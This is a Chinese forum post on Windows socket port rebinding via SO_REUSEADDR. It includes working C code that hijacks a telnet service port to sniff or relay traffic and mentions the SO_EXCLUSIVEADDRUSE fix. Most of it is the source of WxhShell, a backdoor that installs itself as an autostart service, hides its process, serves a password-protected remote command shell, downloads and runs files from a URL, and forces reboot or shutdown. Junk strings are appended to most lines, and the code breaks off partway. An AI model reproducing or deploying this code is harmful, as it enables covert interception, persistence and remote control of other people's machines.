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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: X,JWLS J  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H[_uVv;}6  
K#6`LL m  
  saddr.sin_family = AF_INET; x>8}|ou  
&=6cz$]z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); UVoLHd  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2XecP'+m  
#by9D&QP]  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 jt10gVC  
^b `>/>  
  这意味着什么?意味着可以进行如下的攻击: [WO%rO^p  
vElL.<..  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 zoJkDr=jn  
Z 9 q{r s  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) HA3SQ  
C}8e<[} )  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Vf,~MG  
Edn$0D68u_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  0P%|)Ae  
bh;b` 5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 xn x1`|1u  
]\9B?W(#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 OL ]T+6X  
)zL"r8si  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 XB!`*vZ/<  
}r<@o3t  
  #include \Q?|gfJH  
  #include M\.T 0M_  
  #include [nPzh Xs  
  #include    FOUs= E[  
  DWORD WINAPI ClientThread(LPVOID lpParam);   lJ>QTZH!wW  
  int main() `6S=KRv  
  { ,C'w(af@}  
  WORD wVersionRequested; <cfH '~  
  DWORD ret; J!K/7u S  
  WSADATA wsaData; W1vAK  
  BOOL val; XpAq=p0;  
  SOCKADDR_IN saddr; e=F( Zf+1^  
  SOCKADDR_IN scaddr; 9snyX7/!L  
  int err; '__3[D  
  SOCKET s; M;TfD  
  SOCKET sc; 8yo6v3JqC  
  int caddsize;  eS@!\H x  
  HANDLE mt; '*LN)E> d  
  DWORD tid;   hZ\W ?r  
  wVersionRequested = MAKEWORD( 2, 2 ); U0bE B  
  err = WSAStartup( wVersionRequested, &wsaData ); 'B<qG<>  
  if ( err != 0 ) { m5;[,He  
  printf("error!WSAStartup failed!\n"); {@K2WB  
  return -1; Sc"4%L  
  } vL=--#  
  saddr.sin_family = AF_INET; 6`5 @E\"E  
   #ZnX6=;X  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 x V 1Z&l  
)Fr;'JYC1S  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^B6i6]Pd=9  
  saddr.sin_port = htons(23); \|>`z,;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +_XbHjhN/  
  { V8U`%/`N  
  printf("error!socket failed!\n"); A*;^F]~'  
  return -1; g;Sg 2  
  } )6R#k8'ERr  
  val = TRUE; !9<RWNKV)Y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =!P?/  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Iv|WeSL.  
  { "KI,3g _V  
  printf("error!setsockopt failed!\n"); 53+rpU_  
  return -1; 0) Um W{  
  } VU0tyj$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 'hi\98y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {7~ $$AR(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 IweK!,:>dN  
.bBQhf.&"  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]pP2c[;  
  { 16> >4U:Y  
  ret=GetLastError(); *I1W+W`G  
  printf("error!bind failed!\n"); e %v4,8  
  return -1; UV8r&O  
  } 8 W<)c  
  listen(s,2); &'ETx"  
  while(1) QKaj4?p$|S  
  { ut5!2t$c  
  caddsize = sizeof(scaddr); 6ewOZ,"j"4  
  //接受连接请求 a&c#* 9t{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [11-`v0  
  if(sc!=INVALID_SOCKET) A%w]~ chC9  
  { }:D~yEP  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Z a1|fB  
  if(mt==NULL) gsR9M%mv  
  { y=qo-v59'  
  printf("Thread Creat Failed!\n"); ]%Yis=v  
  break; ]XafFr6pe  
  } ._8cJf.ae  
  } = SJF \Z  
  CloseHandle(mt); %iS]+Sa.K  
  } (*WZsfk>/<  
  closesocket(s); wukos5  
  WSACleanup(); ?G>TaTiK#  
  return 0; #bZ=R  
  }   JTB~nd>  
  DWORD WINAPI ClientThread(LPVOID lpParam) +e4<z%1  
  { -GWzMBS S  
  SOCKET ss = (SOCKET)lpParam; dQ|Ht[ s=  
  SOCKET sc; @N_H]6z4  
  unsigned char buf[4096]; od's1'c R  
  SOCKADDR_IN saddr; x)wt.T?eL  
  long num; =bg&CZV T  
  DWORD val; Fx:en|g  
  DWORD ret; tKsM}+fq  
  //如果是隐藏端口应用的话,可以在此处加一些判断 SF7b1jr  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   g2>u]3&W  
  saddr.sin_family = AF_INET; wJR i;fvi  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); H1j6.i}q  
  saddr.sin_port = htons(23); vG_v89t!ex  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0t[mhmSU,  
  {  2:/MN2  
  printf("error!socket failed!\n"); z==}~|5  
  return -1; yxUVM`.~  
  } q[+: t   
  val = 100; &trh\\I"  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -LK(C`gB  
  { f=O>\  
  ret = GetLastError(); g+r{>x  
  return -1; BCZnF /Zo  
  } PZg]zz=V4  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uvv-lAbjw  
  { [%,=0P}  
  ret = GetLastError(); PyxN_agf  
  return -1; .:!x*v  
  } -XIvj'u  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) y$9 t!cx  
  { dB/I2uGl>  
  printf("error!socket connect failed!\n"); !3 Z|!JY  
  closesocket(sc); L\b_,'I  
  closesocket(ss); A'-YwbY  
  return -1; C{,] 1X6g  
  } zYF&Dv/u/  
  while(1) )0d".Q|v4  
  { bK;a V&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 IeI% X\G  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 NWwtq&pz2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 0Ilvr]1a4  
  num = recv(ss,buf,4096,0); 35kbE'  
  if(num>0) OSi9J.]O  
  send(sc,buf,num,0); ]%8;c  
  else if(num==0) ;U3Vows  
  break; *"sDaN0@R  
  num = recv(sc,buf,4096,0); ,vw`YKg  
  if(num>0) gL"Q.ybA  
  send(ss,buf,num,0); #&KE_ n  
  else if(num==0) )mVYqlU"  
  break; >t2)Z|1  
  } rWpfAE)!  
  closesocket(ss); mf[79:90^  
  closesocket(sc); o? "@9O?  
  return 0 ; 9}$dwl(  
  } D c.WvUM  
pcTXTy 28  
k#NMD4(%O  
========================================================== cD@lor j  
Y8'_5?+ 0  
下边附上一个代码,,WXhSHELL QjN3j*@  
g@f/OsR76  
========================================================== N%E2BJ?  
T\CQ  
#include "stdafx.h" ,k' 6<Hw  
i1@gHk  
#include <stdio.h> 2#}IGZ`Yp/  
#include <string.h> Dohe(\C@  
#include <windows.h> W%Q>< 'c  
#include <winsock2.h> >Nl~"J|]q  
#include <winsvc.h> >M85xjXP  
#include <urlmon.h> 7gmMqz"z(>  
*`'%tp"'+  
#pragma comment (lib, "Ws2_32.lib") eG>Fn6G<g  
#pragma comment (lib, "urlmon.lib") &?sjeC_  
usf(U>  
#define MAX_USER   100 // 最大客户端连接数 -vAG5x/,  
#define BUF_SOCK   200 // sock buffer ([o:_5/8I  
#define KEY_BUFF   255 // 输入 buffer ]=<@G.[=  
vg1s5Y qk  
#define REBOOT     0   // 重启 _!1c.[ \T  
#define SHUTDOWN   1   // 关机 y+R$pzX  
#N}}8RL  
#define DEF_PORT   5000 // 监听端口 sswAI|6ou  
5g7}A`  
#define REG_LEN     16   // 注册表键长度 2DdLqZY#  
#define SVC_LEN     80   // NT服务名长度 Cms"OkN  
8^i,M^f^{  
// 从dll定义API S9055`v5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )X$n'E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =DwH*U /YR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 98nLj9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q_Sq  uuk  
GQxJ (f  
// wxhshell配置信息 0Hf-~6  
struct WSCFG { _Fy:3,(  
  int ws_port;         // 监听端口 wb"t:(>&  
  char ws_passstr[REG_LEN]; // 口令 {z ~ '  
  int ws_autoins;       // 安装标记, 1=yes 0=no n:kxG  
  char ws_regname[REG_LEN]; // 注册表键名 ~36XJ  
  char ws_svcname[REG_LEN]; // 服务名 Y %8QFM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vG:,oB}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OZ9j3Q;a$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )d Dmq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (:]iHg3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I65GUX#DV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f\w4F'^tj  
.W:], 5e  
}; <rxem(PPu  
1H@F>}DP  
// default Wxhshell configuration oC>~r 1.j  
struct WSCFG wscfg={DEF_PORT, 5|z[%x~f  
    "xuhuanlingzhe", $7g(-W  
    1, 6 VDF@V$E  
    "Wxhshell", 'o9V0#$!  
    "Wxhshell", ]2 N';(R  
            "WxhShell Service", K 2v)"|T)  
    "Wrsky Windows CmdShell Service", -W vAmi  
    "Please Input Your Password: ", ?"Q6;np*  
  1, lph_cY3p  
  "http://www.wrsky.com/wxhshell.exe", P~>nlm82]  
  "Wxhshell.exe" EJY:C9W  
    }; @Q5^Q'!  
y+h=x4t  
// 消息定义模块 |9M y>8k(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; EatDT*!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aW5~z^I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i?9Lf  
char *msg_ws_ext="\n\rExit."; Pw1H) <X  
char *msg_ws_end="\n\rQuit."; kp"cHJNx  
char *msg_ws_boot="\n\rReboot..."; =2'^ :4Z  
char *msg_ws_poff="\n\rShutdown..."; 0Z(b/fdS  
char *msg_ws_down="\n\rSave to "; AlV2tffY^  
VQ`O;n6/`  
char *msg_ws_err="\n\rErr!"; _~"3 LB  
char *msg_ws_ok="\n\rOK!"; qpCi61lTDJ  
JOk`emle  
char ExeFile[MAX_PATH]; "5bk82."  
int nUser = 0; Gu=bPQOj  
HANDLE handles[MAX_USER]; {'[1I_3  
int OsIsNt; S_=uv)%a  
'(*D3ysU  
SERVICE_STATUS       serviceStatus; ><^@1z.J  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~.tu#Y?  
cd#TKmh7re  
// 函数声明 -`o:W?V$u  
int Install(void); \GP c_m:qL  
int Uninstall(void); A+&Va\|x  
int DownloadFile(char *sURL, SOCKET wsh); |R;=P(0it  
int Boot(int flag); uqH ;1T;s  
void HideProc(void); un=)k;oh  
int GetOsVer(void); o,I642R~  
int Wxhshell(SOCKET wsl); A}# Mrb  
void TalkWithClient(void *cs); -B!pg7>'##  
int CmdShell(SOCKET sock); rKxk?}  
int StartFromService(void); I&0yUhn  
int StartWxhshell(LPSTR lpCmdLine); |n/id(R+  
CJ b ~~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cj)~7 WF  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t~`Ef  
( d.i np(  
// 数据结构和表定义 M"V@>E\L  
SERVICE_TABLE_ENTRY DispatchTable[] = >LSA?dy!?  
{ 52,a5TVG  
{wscfg.ws_svcname, NTServiceMain}, DTY=k  
{NULL, NULL} %iNDRLR%I  
}; |xOOdy6 )~  
3 -FNd~%  
// 自我安装 `)fGw7J {  
int Install(void) usi p>y  
{ Ws(>} qjy  
  char svExeFile[MAX_PATH]; R_ }(p2  
  HKEY key; <rI~+J]s  
  strcpy(svExeFile,ExeFile); czzV2P/t}  
] $*cmk(Y  
// 如果是win9x系统,修改注册表设为自启动 Qn7e6u@V  
if(!OsIsNt) { h2]Od(^[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ohl%<FqS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @lI/g  
  RegCloseKey(key); ORTM [cL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M DpXth7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VTdZ&%@  
  RegCloseKey(key); ?{V[bm  
  return 0; |r%P.f:y{X  
    } $) $sApB  
  } #S5vX<"9  
} RVe3@|9(G  
else { 1/HZY0em  
vL7}0n>tz  
// 如果是NT以上系统,安装为系统服务 f!yxS?j3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !p2&$s"N.  
if (schSCManager!=0) w_ m  
{ (g\'Zw5bk  
  SC_HANDLE schService = CreateService 0IK']C  
  ( Sn]A0J_  
  schSCManager, W0|?R6|  
  wscfg.ws_svcname, tg:x}n  
  wscfg.ws_svcdisp, V/Tp&+Z.c  
  SERVICE_ALL_ACCESS, Vz^:| qON  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o0q{:An_Z  
  SERVICE_AUTO_START, q0 <g#jK  
  SERVICE_ERROR_NORMAL, -?[:Zn~$a  
  svExeFile, (\T?p9  
  NULL, ;Ba f&xK  
  NULL, MX34qJ9k  
  NULL, H>B:jJf  
  NULL, Xo,BuK&G  
  NULL -mXEbsm  
  );  2r[,w]  
  if (schService!=0) UkUdpZ.[il  
  { K;K tx>Z/  
  CloseServiceHandle(schService); Hd:ZE::Q'#  
  CloseServiceHandle(schSCManager); b4Z#]o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P*}Oi7Z  
  strcat(svExeFile,wscfg.ws_svcname); 1/z1~:Il  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  `@p*1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SE\`JGA[  
  RegCloseKey(key); p`It=16trT  
  return 0; qxq ~9\My  
    } ,[x'S>N  
  } {974m` 5  
  CloseServiceHandle(schSCManager); h OV+}P6  
} #Jn_"cCRLx  
} Sb<=ROCg@  
6Z3v]X  
return 1; ,J[sg7v cv  
} +XQ6KG&  
NXV%j},>  
// 自我卸载 X'5te0v`3  
int Uninstall(void) Eb*DP_  
{ (\G~S 4  
  HKEY key; CyE.q^Wm  
?#W>^Za=  
if(!OsIsNt) { *I~F7Z]|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e= '3gzz  
  RegDeleteValue(key,wscfg.ws_regname); a*=e 3nS  
  RegCloseKey(key); ,}NG@JID  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k;%}%"EVZ  
  RegDeleteValue(key,wscfg.ws_regname); q+N}AKawB  
  RegCloseKey(key); &B) F_EI  
  return 0; Jyd%!v  
  } \"5\hX~dS  
} Yz,*Q<t  
} *yB!^O  
else { ,[A} 86  
JO _a+Yl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5~qr+la  
if (schSCManager!=0) `/"z.~8  
{ $T1c{T6n}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #pf}q+A  
  if (schService!=0) hM;EUWv  
  { 0j3j/={|.1  
  if(DeleteService(schService)!=0) { 7JujU.&{6  
  CloseServiceHandle(schService); /q]WV^H  
  CloseServiceHandle(schSCManager); $jm'uDvm  
  return 0;  W?.Y%wc0  
  } }JI5,d  
  CloseServiceHandle(schService); LnBkd:>}  
  } 4kx#=MLt  
  CloseServiceHandle(schSCManager); 1j}o. 0\  
} <Wl! Qog'  
} k(s3~S2h  
xa K:@/  
return 1; iJ~p X\FKO  
} GU=h2LSi]  
1aSuRa  
// 从指定url下载文件 oI^iL\\2h  
int DownloadFile(char *sURL, SOCKET wsh) thS#fO4]d  
{ *G=n${'  
  HRESULT hr; Y#uf 2>J  
char seps[]= "/"; *rA!`e*  
char *token; {D7!'Rq,  
char *file; pnf3YuB  
char myURL[MAX_PATH]; }=wSfr9g  
char myFILE[MAX_PATH]; iXBc ~S  
O^LzS&I*  
strcpy(myURL,sURL); 'A4Lr  
  token=strtok(myURL,seps); q+SDJ?v  
  while(token!=NULL) ?L|@{RS{|  
  { 7^S&g.A  
    file=token; H>M0G L  
  token=strtok(NULL,seps); y1P?A]v  
  } !]W6i]p  
(!;4Y82#  
GetCurrentDirectory(MAX_PATH,myFILE); wj Y3:S~  
strcat(myFILE, "\\"); <;= X7l+  
strcat(myFILE, file); X\M0Q%8  
  send(wsh,myFILE,strlen(myFILE),0); J`\%'pEn  
send(wsh,"...",3,0); B~z& "`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); eE1w<] Eg  
  if(hr==S_OK) *#~3\{  
return 0; anv_I=  
else G3KiU($V  
return 1; lQoa[#q  
No j6Ina  
} bw+~5pqM  
GX(p7ZgB2  
// 系统电源模块 ([s2F%S`@  
int Boot(int flag) >&p_G0-  
{ #t9&X8:U  
  HANDLE hToken; IA''-+9  
  TOKEN_PRIVILEGES tkp; :  wb\N'b  
w!%Bc]  
  if(OsIsNt) { eml(F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yh} V u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); aMT&}3  
    tkp.PrivilegeCount = 1; 9Lv`3J^~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7 pp[kv;!G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b5KX`r  
if(flag==REBOOT) { *pj&^W?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }KJ/WyYW  
  return 0; AuSL?kZ4|Y  
} *|MPYxJ<  
else { H!HkXm"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tXwnK[~x  
  return 0; 4_)@Nq  
} jwGd*8 /  
  } Ws'3*HAce  
  else { "c=\?   
if(flag==REBOOT) { aZ- )w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k'EP->r  
  return 0; 4,UvTw*2z  
} Bz]j&`  
else { JoIffI?{(D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *=)%T(^  
  return 0; yn"8Ma*  
} eCdMDSFO3  
} 3<#4  
;IE|XR(  
return 1; HtPasFrJ  
} UjUDP>iz.>  
R 8?Xz5  
// win9x进程隐藏模块 Ez+.tbEA,  
void HideProc(void) XoL9:s(m~  
{ ;}WdxWw4  
V]<J^m8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @<r  ;>G  
  if ( hKernel != NULL ) L:j;;9Sp{  
  {  E*i <P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u0Irf"Ab  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^0c:ro  
    FreeLibrary(hKernel); szGp<xv_p  
  } e\tcP  
4ijoAW3A^  
return; cea%M3  
} 8?J\  
e%u1O -*  
// 获取操作系统版本 >Y!5c 2~`;  
int GetOsVer(void) mO(m%3  
{ -}4<P}.5T  
  OSVERSIONINFO winfo; l0l2fwz(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2:Zb'Mj  
  GetVersionEx(&winfo); H<Ed"-n$I<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k[&+Iy  
  return 1; ]|@RWzA  
  else Xq` '^)  
  return 0; mtvfG  
} uR"(0_  
UW8 8JA0  
// 客户端句柄模块 $ nx&(V  
int Wxhshell(SOCKET wsl) VMe~aUd  
{ IJhJfr0)Oo  
  SOCKET wsh; E}00y%@*J  
  struct sockaddr_in client; cL?FloPc*  
  DWORD myID; ag+$qU  
oEGe y8?  
  while(nUser<MAX_USER) 8fY1~\G:\  
{ [f!sBJ!  
  int nSize=sizeof(client); OjcxD5"v9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =I-SQI8  
  if(wsh==INVALID_SOCKET) return 1;  :RBp  
NffZttN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {|9x*I  
if(handles[nUser]==0) Wz`MEyj  
  closesocket(wsh); oQ{(7.e7)  
else 0sD"Hu  
  nUser++; f,wB.MN  
  } \'q 9,tP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `%SFu  
82O#Fe q  
  return 0; 0B7cpw>_J  
} .BuXg<`  
pdUrVmW"'  
// 关闭 socket FZ)_WaqGf  
void CloseIt(SOCKET wsh) 0O5(\8jM  
{ s G!SSRL@  
closesocket(wsh); K&0'@#bE\  
nUser--; JPltB8j?  
ExitThread(0); HTA@en[5  
} ROw9l!YF  
Vcm9:,Xlw  
// 客户端请求句柄 87.b7 b.  
void TalkWithClient(void *cs) {9S=:  
{ Lnc _)RF  
vN=e1\  
  SOCKET wsh=(SOCKET)cs; p~vq1D6  
  char pwd[SVC_LEN]; 5xtIez]x?  
  char cmd[KEY_BUFF]; Ztu _UlGC  
char chr[1]; 8+5 z-vd  
int i,j; By%mJ%$~  
WqlX'tA  
  while (nUser < MAX_USER) {  ky0Fm W  
J5b>mTvb  
if(wscfg.ws_passstr) { Yx>y(Whu.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ? BtWM4Id8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); + KGZk?%  
  //ZeroMemory(pwd,KEY_BUFF); %eW[`uyV  
      i=0; A2LqBirkl  
  while(i<SVC_LEN) { wDJbax?  
vN'Y);$  
  // 设置超时 ?0QoYA@.$  
  fd_set FdRead; wcDHx#~  
  struct timeval TimeOut; )`<- c2  
  FD_ZERO(&FdRead); )L fXb9}  
  FD_SET(wsh,&FdRead); %%5K%z,R#  
  TimeOut.tv_sec=8; 6EfGJq  
  TimeOut.tv_usec=0; yU`"]6(@[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g).k+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Lx6C fR  
!|}(tqt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A14}  
  pwd=chr[0]; Hyx%FN=  
  if(chr[0]==0xd || chr[0]==0xa) { &.~Xl:lq  
  pwd=0; s4h3mypw  
  break; "N\>v#>C  
  } }A)>sQ  
  i++; =iF}41a  
    } [+dOgyK  
v,qK= ]ty  
  // 如果是非法用户,关闭 socket DY<Br;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Huzw>  
} OT/*|Pn9  
8JvF4'zx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H~y 7o_tg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s"G;rcS}#  
ANgfG8>  
while(1) {  (o`"s~)  
,-,BtfE3  
  ZeroMemory(cmd,KEY_BUFF); :wtr{,9rZ  
eTVI.B@p  
      // 自动支持客户端 telnet标准   G4DuqN~2m  
  j=0; sY,q*}SLD  
  while(j<KEY_BUFF) { )xtDiDB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2\ 3}y(  
  cmd[j]=chr[0]; (NPDgR/  
  if(chr[0]==0xa || chr[0]==0xd) { qC<!!473?  
  cmd[j]=0; 5R 6@A?vr  
  break; ETQ.A< v  
  } H3< `  
  j++; DY]\@<ez  
    } Gc6`]7 s  
Id-?her>B  
  // 下载文件 V0y Q  
  if(strstr(cmd,"http://")) { t<'-?B2g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^@V$'Bk  
  if(DownloadFile(cmd,wsh)) &d/v/Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _c| aRRW  
  else "7Qc:<ww  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O{WJi;l  
  } tu(k"'aJ  
  else { 4'L%Wz[6  
G+Vlaa/7  
    switch(cmd[0]) { O%:EPdoU  
  1~X~"M  
  // 帮助 h!#!}|Q'  
  case '?': { +Ja9p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 38(Cj~u=3  
    break; LZC)vF5  
  } F@=)jrO=$  
  // 安装 ?Uz7($}  
  case 'i': { 'J*)o<%  
    if(Install()) QvB]?D#h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tTa" JXG  
    else 9AJMm1 _  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L\p@1N?K  
    break; uYk4qorA  
    } doJ\7c5uU  
  // 卸载 MN|8(f5Gs  
  case 'r': { z>_jC+  
    if(Uninstall()) P8#;a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GUUVE@Z  
    else :m|%=@]`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7vBB <\  
    break; C/nzlp~  
    } QC+oSb!!?  
  // 显示 wxhshell 所在路径 <cTusC<  
  case 'p': { etbB;!6  
    char svExeFile[MAX_PATH]; ~c8Z9[QW  
    strcpy(svExeFile,"\n\r"); Y>eypfK"  
      strcat(svExeFile,ExeFile); K]q9wR'q  
        send(wsh,svExeFile,strlen(svExeFile),0); _VIVZ2mU=  
    break; ep]tio_  
    } )2c[]d /a4  
  // 重启 q!l[^t|;  
  case 'b': { G[U'-a}I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +bnz%/v  
    if(Boot(REBOOT)) d9/YW#tm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y)% CxaO `  
    else { !Pmv  
    closesocket(wsh); )KvQaC  
    ExitThread(0); (C;oot,  
    } FBfyW- 7  
    break; (+g!~MP  
    } ]@@3]  
  // 关机 7.O1 ~-  
  case 'd': { qGS]2KY  
